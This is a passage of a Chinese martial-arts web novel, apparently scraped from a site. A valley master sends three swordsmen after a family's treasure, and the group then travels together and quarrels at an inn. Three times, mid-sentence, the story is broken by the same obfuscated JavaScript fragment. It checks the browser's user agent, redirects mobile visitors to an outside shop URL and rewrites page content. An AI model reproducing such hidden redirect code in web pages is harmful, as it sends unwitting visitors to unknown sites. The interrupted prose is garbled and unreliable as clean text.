汤应寿微微一笑,道:“落霞山草木众多,行走不易,方向却不难辨。可那江南贾家地处云雾之界,加之道路崎岖,水系众多,行走起来甚是艰难,别说二位,就是其他人也都不易分辨方向。” “二位在落霞山便耽搁了整整一天,要想找到贾家,不得花费数年?老朽正是担心这点,才将这桩棘手差事单另派给了青衣派。从目前的结果来看,老夫这一安排似乎也不失妥当。” 说着捋须长笑。 孟浪怒道:“草你奶奶的,你让我们哥俩白跑了一趟,还敢舔着老脸说不失妥当?” 说着,怒指汤应寿:“杀人越货,打着送人秘籍的旗号,借他人之手铲除异己,心狠手辣,卑鄙肮脏,你他妈肚子里安的什么黑心,装的什么坏水儿,当老子不知?!” 汤应寿闻言变色,道:“壮士何出此言?老夫教人杀的,都是该杀之人,教人劫的,也都是不义之财。老夫活到这把年纪,何尝不会辨人,何来杀人越货,铲除异己之说?” 孟浪一声冷笑,道:“有这等好事,你自己怎不去做?” 汤应寿叹了叹气,道:“老夫年纪大了,腿脚不便,况且惩戒恶人于精神有损……” “放你妈的屁!” 孟浪一把揪住汤应寿衣领,将他拎了起来,“刀谱拿来!” “壮士未能完成任务,要哪门子刀谱!”汤应寿面无惧色。 张衡生怕又发生刚才的事,忙上前拦道:“二哥,你……你先放手,有话好好说。” 孟浪骂道:“有屁的好话!这孙子故意刁难我们哥俩,三弟你没看出来?” 汤应寿道:“是你二人水平不行,焉能怪得了别人!” 张衡见他二人各执一词,僵持不下,孟浪又死死攥着汤应寿的衣领不撒手,是真生气了,当下急得团团转。 他这位二哥的脾性他最是了解,虽是个粗人,行事莽撞,但大体上还是愿意听自己的话的。除非真惹急了,那就狗急跳墙,谁也别想活! 正不知如何是好,这时季歌幽幽的道:“关于此事,我倒有一个折中之法,能化解其中矛盾,不知二位愿不愿听?” 闻听此言,孟浪转过脸来,道:“什么办法,你说。” 季歌装模作样地挠了挠头,道:“二位兄弟没有完成任务不假,被谷主戏弄,白跑了一趟贾家也真。” “只是二位兄弟任务未竟,便想白手捞得一部刀谱,于理不合,这让其他为此付出诸多心血的门派听了难免心寒,传出去于沐恩谷声名有损。倘若谷主答应了,以后沐恩谷这差事就别干了。” “有话直说,婆婆妈妈,算什么男人!” 孟浪语气颇不耐烦。 季歌扶了扶额,道:“要我说,大家不如各退一步,请谷主给二位兄弟重新安排一项差事,由我带着他二人一道前往。等到差事办完,晚辈再将他二人带至谷中领取后半部秘籍。如此,谷主既办成了事,不用假以他手,二位兄弟也得偿所愿,大家皆大欢喜,岂不甚好?不知双方意下如何啊?” 孟浪听他说的在理,当即举手道:“我同意!” 他心知自己方才那番闹腾,真要硬来,要么和那老杂碎同归于尽,要么灰溜溜滚蛋,总之是鸡飞蛋打,什么也落不着。正骑虎难下着,忽听季歌这么说,当即顺坡下驴。 汤应寿脸上却升起了一团愁云。他手负身后,在地上踱了几步,忽然停下,转向季歌道:“以少侠这等身份,何故掺和这趟浑水?” 季歌没想到他会突然向自己发问,面色微微一滞,旋即笑道:“急公好义,成人之美嘛。” 汤应寿看着他,脸上疑云四起。 季歌见他并未被说服,于是正色:“晚辈不似家父俗务缠身,为门派琐事左右,平日里大半时间都在仗剑江湖,游历四方。反正闲着也是闲着,待在山上也够心烦的,不如陪二位兄弟走上一遭,还能见识一下不一样的江湖风光。” 汤应寿面色铁青,盯着孟浪看了半晌,又看了看张衡和季歌,似乎在掂量着什么。良久,才缓缓道:“既然你二人怕脏了自己的手,那便简单些……黔南江家多次替朝廷鹰犬刺探江湖消息,两年前残害了不少江湖人士,你三人若能助沐恩谷灭了江家满门,我便将十字斩的刀谱赠予孟张二位兄弟。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468413|201347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>孟浪两眼瞪如铜铃,啐道:“我与那江平川无冤无仇,何故帮你杀人!” 汤应寿愠道:“此等武林大患,不杀留作何用?” 孟浪道:“那也是你的事儿!我可不知江家何时刺探江湖消息,何时残害武林人士了,你既知道,便去亲手除了他,自己动手岂不痛快?总是假以他手,居心叵测,老子不干!”说着露出一脸鄙夷神色。 季歌道:“汤谷主,听闻那黔南江平川乃一代宿儒,饱读诗书,博学多才,又已至八十高龄,在当地素有名望,一向为江湖人所敬重。何以他会帮助朝廷刺探江湖消息,此事莫不是搞错了。” 汤应寿昂起头来,露出一脸不悦神色,道:“我们沐恩谷难道都是些滥杀无辜之辈?我既然能这么说,自然是掌握了确切的证据,否则何以无故教他们杀人?” 季歌心道:“你们沐恩谷做事阴邪鬼祟,摸不清底细,谁知你们是不是滥杀无辜之辈,什么都还没搞明白,倒自封起来了。”心里这么想,面儿上却道:“自然,自然。谷主能开这个口,定然是有了十足的证据,十全的把握。只是……”说着表现出为难的样子来:“谷主,此事恐怕很难教二位兄弟心服。既然孟张兄弟是劫取玉璧不成,那当重新安排一项相近的任务,才算公平。如此,晚辈协助起来,心中也能舒坦许多。” 汤应寿语气生硬道:“既有求于沐恩谷,还挑三拣四,成何体统?” 孟浪道:“老杂碎,你嘴里嘟囔的什么玩意儿?”抡起拳来,又欲作打。 汤应寿瞧了他两眼,心知今日若不能令他满意,定不能善了此事,想了想,终是道:“既然你二人怕脏了自己的手,那便不必灭江家满门了,简单些,去给我把江平川的命根子楼兰明珠取来,此物在老夫心中虽不及楚玉,却也是价值连城。若这还办不到,一切免谈。”说着一甩衣袖,背过身去。 张衡见他态度十分坚决,想来这次已无转圜余地,又觉这趟差事不似无故杀人那般难办,倒也不是不能考虑。思前想后,又觉今日在这陌生邪门的沐恩谷中已耽搁了太长时间,为免节外生枝,再生事端,便道:“好,我替我二哥答应了。” 孟浪本想再骂几句,但见张衡已经答应,汤应寿也做出了让步,于是也抱着占了便宜的心思,没再多话。 汤应寿见他没意见,于是示意小厮去找孟夫子要部分十字斩的刀谱来。半晌,小厮拿了刀谱过来,不等汤应寿伸手去接,孟浪已劈手夺过。 季歌凑近孟浪跟前,见那刀谱大约有十几页纸。字体行云流水,娟秀洒脱,其间多有连笔,部分墨迹未干,有所沾染,显然是初初写就,不由眉头一蹙。 他不动声色地垂下眉眼。手指在页角轻轻一蹭,沾上些许墨痕,放在鼻下。一缕幽兰墨香,似有若无。不由恍然大悟,唇角一勾,笑道:“敢问谷主,谷中可有女眷居住?” 汤应寿面色一滞,道:“季……季少侠何出此言?” 季歌见他反应,心中已明白了几分,笑道:“无事,晚辈只是随口一问,谷主不必多心。” 汤应寿脸上神色略缓,这才道:“谷中不曾有女眷。” 季歌道:“既如此,那便多谢您老人家向二位兄弟赠送刀谱了!”说这话时,脸上的笑意更深了。 8. 月白风清 及至下午,各大门派陆续收获了属于自己门派的秘籍。 五毒教的右护法拿到毒蜂刺的制作要领,点苍派弟子拿到流云水袖的袖法技艺,泰山派年纪最小的弟子收获游龙轻功的功法秘诀。也有部分人是初至谷中,第一次领取任务,总之人人脸上洋溢着喜色,皆大欢喜。 汤应寿见季歌右手手臂伤重,又命人送了两瓶活血化瘀、止疼消炎的药膏给他。 宴会结束时已是黄昏,落霞满天。众人与谷主一一道别,约定半年后再行赴约。汤应寿将一干人等送至悬索桥边。才隔半日,便又见到了这座命悬一线的悬索桥,人人脸上无不变色。无论是谁,心里装了多少欢喜,见到这座悬索桥,也笑不出来了。 各门派在领队人的安排下,次第走过悬索桥。青衣派、孟浪张衡还有季歌走在最后面。待前面各大门派走过去,悬索桥不再剧烈晃动时,季歌准备上桥。 这时,身后忽然传来“咕噜咕噜”的车轮声。季歌回过头来,看到沐恩谷的四名小厮正推着两辆木车向这边驶来。 木车上放置着一只盛满头颅的大竹笼,污血顺着竹笼的边框滴落下来,和着泥土,在地上滚出了两道血色的车辙印。几人倒吸口凉气,怔在当地。 只见那木车推至悬崖边上,两名小厮在木车下的一个位置轻轻一扳,两个大竹笼缓缓倾倒,竹笼里的头颅就如炮弹一般,接二连三的掷入深渊。那一颗颗满脸血污、神色各异的头颅,转眼间便被深渊里呼啸的寒风吞噬,不见影踪。 季歌心道:“原来木车下也装了机关。” 那些头颅都是从不同的人身上或割或砍下来的,滚落深渊时,脸上仍带着死者生前弥留的或狰狞、或惊恐、或痛苦、或欢愉的表情,像极了世人痛苦悲惨的一生。直看得众人头皮阵阵发麻,脊梁骨发凉。 静慧叹道:“真可怜啊。”静柔别过脸去,不忍再看。孟浪也倒吸一口凉气。 汤应寿立于崖边,手捋长须,道:“这些人犯了滔天罪行,扔下去自有阎王爷惩戒,沐恩谷的任务便是送他们去见阎王。” 静慧不愿听他细说,心有余悸地跳上悬索桥。这时鬼谷子从对面过来,经过身边时,冲她咧嘴一笑,道:“小姑娘,下次再来玩呀!” 静慧啐道:“呸,再也不来了,你们这沐恩谷总没好事!” 静姝在桥下听到,嗔道:“静慧,不得无礼!”转过身来,向汤应寿行了一个大礼,道:“感谢谷主宅心仁厚,赐我等剑谱,此等恩德,来日必报。” 汤应寿微微一笑,回了一礼,并未答话。 孟浪懒得搭理,将那十几页刀谱往怀里一塞,径直上了悬索桥。张衡见二哥上去,忙向汤应寿简单道了声告辞,便即跟了上去。静姝则牵着静柔的手走在后面。 季歌最后走上桥头。看着前面几人的背影渐行渐远,心中突然一片迷惘。回过头来,向汤应寿道:“老伯,我不知您的真实身份是什么,只盼您能通传一声,愿季某下次来时得见谷主真容,如此方能表露双方诚意。” 汤应寿闻言,一张布满笑意的脸瞬间僵住,残留眼角的温和也被冰冻在了脸上。天地广袤,此时此刻,唯剩狂风呼啸,卷着他的衣袂上下翻飞不止。 . 静慧坐在竹笼里,望着汤应寿苍老衰颓的身影立于悬崖,愈渐模糊,心觉奇怪,道:“季少侠,方才你与那老谷主说了什么?” 季歌道:“我告诉他,青衣派的静慧姑娘和静柔姑娘天性纯良,请他不要因为玉碎一事对她二人心生不满,有所猜忌。日后行走江湖遇见了,还应多加照拂才是。” “骗人。”静慧道:“若只是说了这些,何以那老谷主会是这副表情。” 季歌莞尔,闭上眼睛,不再答话。 众人下了溜索,从落霞山出来时已是傍晚。漫天霞光洒满群山,山间万物仿佛披上了一层薄薄的金纱,与白天的山体郁葱相比,又是别样景象。季歌伫立山门前,望着天上霞光无限,叹道:“落霞,落霞,原来这便是落霞山名字的由来。” 孟浪走过来,粗声粗气道:“小子,黔南江家怎么走?” 季歌保持着看天的姿势,道:“你觉得我会知道?”对他看也不看。 孟浪心生不满,道:“那你还带我们取什么楼兰明珠,咱三个都不识路,这下怎么整?” 季歌不予理会,径直转身,走下山门,去追走在前面的青衣派三人。孟浪气得胡子乱颤,道:“他……他这是什么态度?” 张衡拍了拍他的肩,道:“二哥不必认真,怎么说人家也是咱俩的贵人,去江家这一路还得多仰仗人家呢。” 孟浪道:“仰仗他?他自己都说了不识路。” 张衡道:“呐,这不是识路不识路的问题。你想啊,堂堂问心剑派掌门之子,去哪儿犯得着识路吗?” 孟浪盯着他道:“不懂。” 张衡搔了搔头,道:“你看,以他在沐恩谷使的那招‘七月飘雪’,功夫就远在咱哥俩之上,路上万一出了什么岔子,指不定谁帮谁呢。不认路有什么打紧,有钱就够了。问路只需银子打点就行,再不行雇个向导,这都是小事。” 孟浪这下懂了,仔细一想,心里还是窝火,道:“那岂不是一路都得看那小子脸色?小小年纪,好的不学,光学了狗眼看人低那套。” 张衡双手抱于胸前,望着季歌渐行渐远的身影,笑道:“长了这么一张俊脸,就是冰块,他也好看啊。” 静姝三人得了无极剑谱,一路喜眉笑眼,乐不可支的。天色渐晚,路遇一家客栈,静姝道:“今晚先投宿这里,明早再赶路。” 静慧朝身后瞟了两眼,道:“师姐,他们又跟上来了。” 静姝道:“不知羞耻。”走进客栈,正待打尖,这时季歌轻轻巧巧地进得门来,满脸乐呵道:“真不凑巧,三位也打尖儿啊。” 静柔脸现羞赧之色,低下头道:“公子,你和我们顺路啊。”声如蚊呐。 静姝道:“顺什么路,我看他是心怀鬼胎,居心叵测!” 季歌对她看也不看,径直走到柜台前,向店伙计道:“小二,来两间天字房。我一间,后面那俩跟班的一间。”顿了顿,“再给我出去买两身干净的里衣外衣,一并结在房费里。” 孟浪紧随其后进来。听他要了天字号,顿时脸现尴尬之色,道:“不……用了,我们哥……哥俩住人字号就行,不承你的情。” 张衡胳膊肘将他轻轻一撞,道:“我看季兄弟出手阔绰,为人豪气大方,不是爱计较的人。” 孟浪道:“我管他是什么人!住个店都要天字号,当在自己家啊。反正咱哥俩粗茶淡饭惯了,绳床瓦灶,哪儿不能睡。不像某些门派的阔少爷,从小娇生惯养,衣来伸手饭来张口的,金贵得很!大男人一个,真是矫情!” 他说话声音很大,故意让季歌听到。 季歌倚着柜台,听着这话,有些牙疼地捅了捅耳朵,道:“酸劲儿这么大,眼红的失心疯了吧。” 孟浪道:“谁他妈眼红你,单纯是看不惯你这套少爷做派。” 静柔见他们又要吵起来,连忙岔开话题,道:“小二哥,麻烦订两间地字号,让我大师姐单独一间。” 季歌道:“柔儿妹妹,地字号可是有树木遮挡,无甚夜景可看哦。”见静柔面露不解,补充道:“这家客栈唤作‘明月’,正是因为天字号的月景极佳,有其他客栈比不上的月白风清,错过岂不可惜?” “可是……” 静柔悄悄摸了摸口袋,颇有些囊中羞涩。 静姝斥道:“可是什么,就住地字号!” 季歌道:“别可是了。女孩子家嘛,就得住得金贵些,怎能一直过清苦日子。”说着眼光向孟浪和张衡一扫,道:“不像那两个,皮糙肉厚,绳床瓦灶,哪儿不能睡。看来他二人是无福消受这天字号的夜景了,便将他二人那间让给你与静慧住罢。” 说着向小二道:“换房!” 静姝听他这么说,心中怒气陡生,道:“笑话!当我们青衣派住不起天字房吗?给我也换成天字号!” 小二翻了下房册,难为情道:“对不住了大姐,近来小店生意尚可,路过打尖的客人较多,已经没有天字号了。” 静姝正待发作,小二又道:“您方才要订的地字号也只剩最后一间了,您订是不订?” 听闻这话,静姝脸色顿时一阵青一阵白。恨恨蹬了季歌一眼,从小二手中夺过地字号牌,在一干人等的注视下,讪讪去了。 待她一走,孟浪立时笑出声来,道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468414|201347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这凶尼姑脾气还挺大。”说着转向小二,“人字号订好了没?” 小二又露出一脸难为情来,道:“对不住了客官,方才人字号也没了。” 孟浪两眼立时瞪如铜铃,道:“那你让我哥俩睡哪儿去?这荒郊野岭的。” 季歌倚着柜台,慢条斯理道:“别废话,大通铺给他俩安排上,费用从我账上划。” 说着眼尾懒懒地将孟浪张衡一扫,道:“我这二位兄弟皮糙肉厚,好养活,大通铺正适合他们。” 当晚孟浪睡到半夜,突然坐起身来,对着空气破口大骂:“这小杂种没病吧,小小年纪心眼儿就这么多,我这岁数当不了他爷爷,当他叔也够了,他对咱哥俩这是什么态度?” 张衡被他吵醒,迷迷瞪瞪地坐了起来,勉力挣开粘在一起的眼皮,向房内瞧了一眼。见其他人还在沉睡,屋内一片鼾声如雷,将他的脖子一搂,哄道:“先睡觉罢,明儿再跟他理论。” 孟浪气哼哼地躺平,眼睛刚闭上一会儿,便又睁开,道:“三弟,你身上还有多少银子。” 张衡迷迷糊糊的道:“哪还有银子,路上早都花光了。” 孟浪一听,抬脚在他腰上给了一下,道:“好好说,还剩多少?” 张衡见他不依不饶,在黑夜里迷迷糊糊伸出一根手指头来。 “一锭?” 张衡摇摇手指。 “一两?” 张衡又摇摇手指头。 “一文?” “一个铜板。” 张衡道。 孟浪心里生气,抬脚在他腰上又给了一下,道:“怎么就剩这点儿了?让你管钱,咋管成这样了?” 张衡迷迷糊糊道:“二哥啊,咱俩都出来多长时间了,没有四个月也有三个月了吧,一共就带了二两银子,一路还省吃俭用,吃糠咽菜的,畜生都没过成这样。两个人,三个月,花了二两银子,你觉得多吗?没半路饿死都算好的,活到现在,你觉得咱哥俩容易吗?要不是三弟我精打细算,好好理财,只怕这最后一个铜板也没有了。” 顿了顿,“至少这最后一个铜板还够二哥你明早喝碗热乎的稀米粥。” 孟浪道:“那咱这几日吃喝拉撒花的什么?” 张衡幽幽一声叹,道:“自然是你口中的小杂种……” 孟浪气不打一处来,怒道:“为何要花他的,我不花他的!” 张衡道:“不花他的,花什么呀?一个铜板,都不够咱俩分的。” 孟浪气哼哼道:“那我也不花他的。那小杂种心眼儿太多,蔫儿坏蔫儿坏的,老子就是饿死,也不吃嗟来之食。” 张衡郁闷道:“人家什么时候心眼儿多,什么时候蔫儿坏了。我看季兄弟为人很是不错,特别慷慨豪气,做事也大方。再说,不花他的,今晚咱俩连这大通铺硬板床都睡不上,隔壁有马棚,要不你搁那儿跟马睡去?” 孟浪道:“总之我不受他的资助。你愿意吃他的嗟来之食,便自己吃去,可别拽上我。”说着气哼哼地背过身去。 张衡见他榆木脑袋想不开,巴了巴他的肩膀,道:“二哥,人总得活命吧,咱俩贵为霹雳帮的副帮主,沿街乞讨像什么样子,传到大哥耳朵里,还不得把咱俩剁了?” 顿了顿,“你若是实在不想花他的,每日吃喝用度便都记在账上,权当欠他的。以后有机会了再还不就完了。”说着幽幽打了声哈欠,道:“睡了,有事儿明天再聊。” 话音刚落,呼噜声响起。 孟浪贴着钢板似的硬床,大睁着眼睛,想了一会儿,发现张衡说的也不无道理。没错,不吃不喝不行,沿街乞讨也不行,就当欠他的吧,日后有机会再还。 闭上眼睛眯了一会儿,发现还是睡不着。这一路睡惯了牛棚马棚,这会儿睡上正儿八经的人床,还真不习惯了。谁说由奢入俭难,由俭入奢也不容易啊,唉,真是不配! 辗转反侧半晌,索性坐了起来,从怀里摸出白天路上捡来的一块木牌,用小石子在上面划了一道——权当记下欠那小子的账。躺下正待再睡,忽然屋顶上传来几个人声,隐隐约约,似有若无,听不真切。 他竖起耳朵,屏住呼吸,倾耳细听。只听月夜寂静之中,只言片语伴着夜风飘进窗来,愈发清晰。 9. 月白风清(2) 只听那声音似乎来自两个青年男女,你一句我一句,听不真切。 孟浪心烦得紧,想要快快睡着,一双耳朵却总不情不愿地接收到夜风送来的只言片语。用薄被闷了脑袋挣扎了半晌,心情愈发烦躁,索性从钢板上爬起来,朝窗外望去。 只见对面房屋顶的赏月台上,一男一女正并肩而立。女的身形较小,正是青衣派那小尼姑。男的长身玉立,姿形端正,青紫色的衣袂被夜风掀得上下翻飞,月色下更显洁净,一望便知是问心剑派的阔少爷。两人一边赏月,一边碎碎闲聊。 “啧啧啧,三更半夜,还是个尼姑,真不嫌晦气。” 孟浪一通叨叨完,默默躺下了,正待阖眼,却见脚边的白墙上,月光倾泻而下,将屋顶上两个人的人影倒映了出来,登时两眼瞪如铜铃。 只见两人起初只是肩挨着肩说话,过不多时便席地坐下。男子褪去外衣,露出肩臂,小尼姑拿着药瓶,在月色下细细涂抹。待到涂抹完毕,男子把外衣兜至肩上穿好,与那小尼姑继续闲坐着聊天。 说话间,却一会碰碰她的肩,一会抬起没受伤的那条胳膊,拨弄着她额前的几缕碎发,举止甚是轻浮暧昧,直看得孟浪两眼发直。 “三弟啊……” 他咽了咽口水,慢吞吞道:“用不用冲出去救救那个小尼姑啊……” “嗯……?” 张衡迷迷糊糊地打了个盹儿,翻了个身,没再作声。孟浪见他还睡,一下子生气了,抬起脚来,在他腰上给了一下。 张衡正瞌睡得流油,突然屁股上遭了这么一下,猛地蹦了起来,左看右看,道:“谁,谁干的?” 亮堂堂的月色里,却见孟浪正半坐着,一脸不爽地看着自己,当即明白过来,打了个哈欠,道:“哥哥,你不睡我也别想睡是吧。” 孟浪也不说话,只看着他,将下巴往对面的白墙一甩。张衡也不知发生了何事,顺着他意,只望那白墙上一瞅,顿时打了个激灵,道:“什……什么情况,大通铺还有皮影戏可看?” 担心自己看错了,没忍住揉了揉惺忪的睡眼。见那白墙上确实有两个巨大的人影,并且还在有一搭没一搭的闲聊,于是默默地将怪异的眼神投向孟浪。 孟浪还是不说话,看着他,将半张脸又往身后的窗外一甩。 张衡望向窗外,只见对面的屋顶上并肩坐了两个人,一个是静柔,一个是季歌,当即发出恍然大悟的叹气声,道:“哥哥,你就为这个睡不着啊。” 说完,一头栽倒在枕上,一副精疲力竭模样,好似方才干了件大事。 孟浪见他并没有表现出自己期待的愤懑不平,默默躺了下去,盯着脚边白墙上的两个人影,道:“我用不用冲出去救下那个小尼姑啊。” 张衡打了个哈欠,迷迷糊糊道:“男欢女爱,你情我愿,怎么插手啊。” “可那小尼姑还是个孩子啊。”孟浪急道。 张衡又打了个哈欠,阖上眼睛,道:“那你好好盯着,万一那姓季的轻举妄动,也好及时出手。我先睡了。” 说完没过片刻,便又打起了呼噜。 就这样,孟浪盯着白墙,干瞪眼了一夜,倒也未见有何异常之事发生。 次日,季歌和静慧、静柔正坐在一楼早饭,便见到孟浪黑着眼圈,和张衡有气无力地下得楼来。季歌眉头一皱,道:“半夜三更不睡觉,偷人去了?” 孟浪梗着脖子坐下,眼睛却不看他。瞥见季歌眼前放着一碗热乎乎的馄饨,又见静慧静柔面前分别放着一碗八宝粥,一碗小米粥,桌上还放了两碟小菜,一盘麻叶,禁不住垂涎三尺,默默吞了吞口水。 “吃什么?” 季歌道。 孟浪咽了咽唾沫,道:“不吃。” 季歌翻了个白眼,转向张衡,道:“张兄,来点什么,甭客气,我请客。” 张衡正朝孟浪使着眼色,听他这么说,忙道:“……给……给我哥俩来两碗小米粥就行,不用麻烦……” 季歌向孟浪瞟了一眼,道:“我看孟兄似乎想吃馄饨,便来两碗馄饨吧。” 孟浪脆生生道:“我才没想。” 馄饨很快上来了。张衡吃了两口馄饨,诡异地瞧了季歌一眼,又瞧了那青衣派的小尼姑一眼,心虚道:“季……季兄弟,昨夜可弄清楚了黔南江家的路线?待会儿可要动身了。” “没。” 简短一个字。 孟浪狂吸几口馄饨,道:“要老子说,就不该答应那神叨谷主的条件,谁知是福是祸。那沐恩谷处处透着诡异,连鬼谷子,孟夫子,野郎中这三个家丁的身份都十分可疑。” “你们想想,鬼谷子,那是何等人物,天下一等一的机关师啊!他这样的人,怎么可能心甘情愿避世隐居,待在那神叨叨的谷底,不见天日?鬼知道汤应寿暗地里给他灌了多少迷魂汤。” 连滚带烫地往嘴里拨拉了几口,又道:“还有,我绝对不信那老东西是心甘情愿做好事,送大家伙儿秘籍也绝对不是什么天上掉馅儿饼的事。让我们去什么狗屁江家,我看哪,八成是让我们送命去了。” 季歌冷冷睨他一眼,道:“在沐恩谷强词夺理,逼人家送秘籍的是你,背过身骂人家诡计多端,落井下石的也是你,你一个大男人,事儿咋这么多?”语含嘲讽之意。 孟浪语塞,还欲再辩,这时听到静姝站在门外喊道:“静慧静柔,你俩吃完了没,从小到大就吃饭慢悠,都像你们这么慢悠,几时能走?” 静柔听到师姐催促,连忙放下筷子,抓起包袱和青剑,快步出门。静慧趁这个功夫,赶紧又喝了两口热汤,也跟了出去。 孟浪正待与静慧静柔告辞,这时见季歌放下碗筷,也跟了出去,于是道:“人家回青衣派去,你跟着干什么!”季歌头也不回,道:“黔南在梵净山以南,取道青衣派。” 孟浪见他早有打算,脸色一沉,道:“那你不早说!”忙和张衡狂喝两口热汤,追出门外。 黔南地势不平,水系众多,其间弯道狭路奇多。季歌买了两辆马车,一辆牵给青衣派的三个尼姑,一辆留着自己坐。孟浪见大家都有车坐,唯独自己和张衡没有,心里不爽,站在车下,向季歌道:“啥意思,打算把我们哥俩撂这儿不管了?” 季歌在车上听到,掀起车帘,用下颌指了指拴在车前的马儿,道:“你俩到前面赶车去。” 孟浪白了他一眼,道:“不会。” 季歌轻笑出声,保持着车帘掀起的姿势,道:“长得倒是膀肥腰圆,五大三粗的,连个车都不会赶,真是废物。”一副饶有兴致的意味。 孟浪怒从中来,一想到自己和张衡欠了他许多,满肚子火气又不便发泄,语气生硬道:“不会就是不会,你会,你怎么不去赶?”说着抱起手臂,看向别处,一副爱咋咋的表情。 季歌道:“你见过自己赶车的少爷?”见他一副无所谓的模样,放下车帘,道:“随你的便,不想赶,就自己走着去,或者自己买辆车坐,眼下我们可是要出发了。”说着从前面拾起缰绳,在马屁股上给了一鞭,道:“走喽!”马儿踱起步子来。 张衡见状,忙将孟浪往青衣派的车前一推,道:“你上那边去,让小弟来给季少爷赶车。”说话声音极大,故意让季歌听到。 孟浪心里有十万个不愿意,然而一想到此去黔南路途遥远,若是步行,没个十天半月恐怕到不了,眼下不想赶也得赶了。 想到这里,突然心生一计:既然早晚都得赶车,赶哪个不是赶?于是道:“别,你伺候不好季少爷,还是我来吧。”快步追至季歌的车前,道:“边儿去。”一屁股跳了上去。 这一坐正好压住了季歌的衣角。季歌拽了两下没拽开,有些生气道:“你压住我衣服了。” 孟浪斜斜看了一眼,只见自己左半边腚果然压住了他右半边衣衫,不情不愿地往边儿上挪了两挪,季歌这才把衣服抽出来。孟浪见他没事了,从他手中抢过马鞭,一鞭子抽在马屁股上,道:“坐稳了啊!” 马儿吃痛,一声嘶鸣,撒开四蹄,向前狂奔了出去。他说话时,季歌尚未进入车里,这一鞭子下去,变起仓卒,直接整个人滚进了车里,一头撞在车栏上。 “孟兄你……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468415|201347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 勉力抓住车栏,确保自己不会滚出车子,季歌连声叫苦:“你……你公报私仇!” “嘿嘿。”孟浪心想:“老子还就公报私仇了,怎么了?看老子这一路能不能给你整趴下。”扬起马鞭,在马屁股上又狠狠给了几下。马儿登时状若疯狗,向前一路猛冲。 还别说,孟浪驾车的技术确实可以,一路专挑泥坑水洼土棱上走,马车被他带的是东倒西歪,颠簸不断,愣是没翻。 季歌在车里被晃得东倒西歪,喊了几次“慢点”,孟浪全当耳旁风。双手死死抓着护栏,好几次却还是差点从车里甩出来。 行至中途,路经一处破落村庄,季歌从车窗里看到村子里饿殍遍地,饥民衣不蔽体,忙道:“停停停!” 孟浪在前面道:“啥事儿啊!” 季歌忍住反胃的冲动,道:“这里这么多饥民,我给他们分发些银两,你快停下。” 孟浪这才吁停了马车。季歌捂着胸口下了车,一下车便蹲在地上吐了起来。后面的青衣派见前面的车停下了,也停了下来。 静柔在车里看到季歌吐了,忙备好手帕和水囊。一下车就赶到季歌身旁,将手帕递了过去。季歌讪讪地接过,不好意思道:“见笑了,柔儿妹妹。”刚说完,立刻又弯腰吐了起来。静柔没有说话,只是把水囊又往他跟前递了递,耳根却悄悄红了。 静慧见他吐得昏天黑地,惨不忍睹,一堆对小眼神幽幽地转向孟浪,道:“孟大哥也忒不怜香惜玉了,你坐的都是人家的马车,怎的还如此整蛊人家。” 张衡也道:“二哥确实过分了,以后别这样了。” 孟浪两眼一瞪,道:“我怎么整蛊他了,我老孟驾车一向这个风格。” 说着大摇大摆地走到季歌身前,在他背上大力一拍,道:“小子,服不服啊?”这一下用力过猛,拍得季歌又一口呕了出来。 季歌扶着后腰,勉强站直身子,连声道:“服服服,孟兄求放过。” 孟浪嘿的一笑,这才不吱声了。 季歌从静柔手里接过水,喝了两口水,漱了漱口。扶着车栏站直,脸色仍有些发白。他看了眼那些衣不蔽体的饥民,没说什么,转身从车上取出装银两的包袱,将银子分发给村里那些孤儿寡母。 静姝从车上取下笔墨,就着车辕写了几行字。然后从怀里摸出只信鸽——那鸽子灰羽红喙,显然是驯熟了的——将字条塞进鸽腿上的竹筒,扬手放了出去。鸽子在空中绕了一圈,往东北方向去了。 季歌见到,悄悄问静柔此举何意,静柔道:“我们劫了贾家后,雇了四海镖局把劫来的金银财宝都押往沐恩谷了,差不多有十大箱子。大师姐方才传信,应该是通知押送银两的王总镖头,请他们转运一两箱过来,好救济这些饥民。” 原来如此。季歌默默向静姝望了一眼,心想:“想不到这老刁妇表面尖酸刻薄,竟也会菩萨心肠。” 张衡帮季歌分发完银两,回过身来,见孟浪一个人蹲在马车后面,好一阵窸窸窣窣,不知在干些什么。轻声慢步过来,见到他一只手举着一块木牌,另一只手拿着石子,正在木牌上刻着什么。定睛一看,上面写道:“一碗馄饨两钱,一夜大通铺五钱……” “……” 张衡拍了拍他的肩,道:“写的什么啊?” 孟浪吓了一跳,忙将木板收进怀里,道:“把欠那小子的账全都记下来,攒多了一起还。” 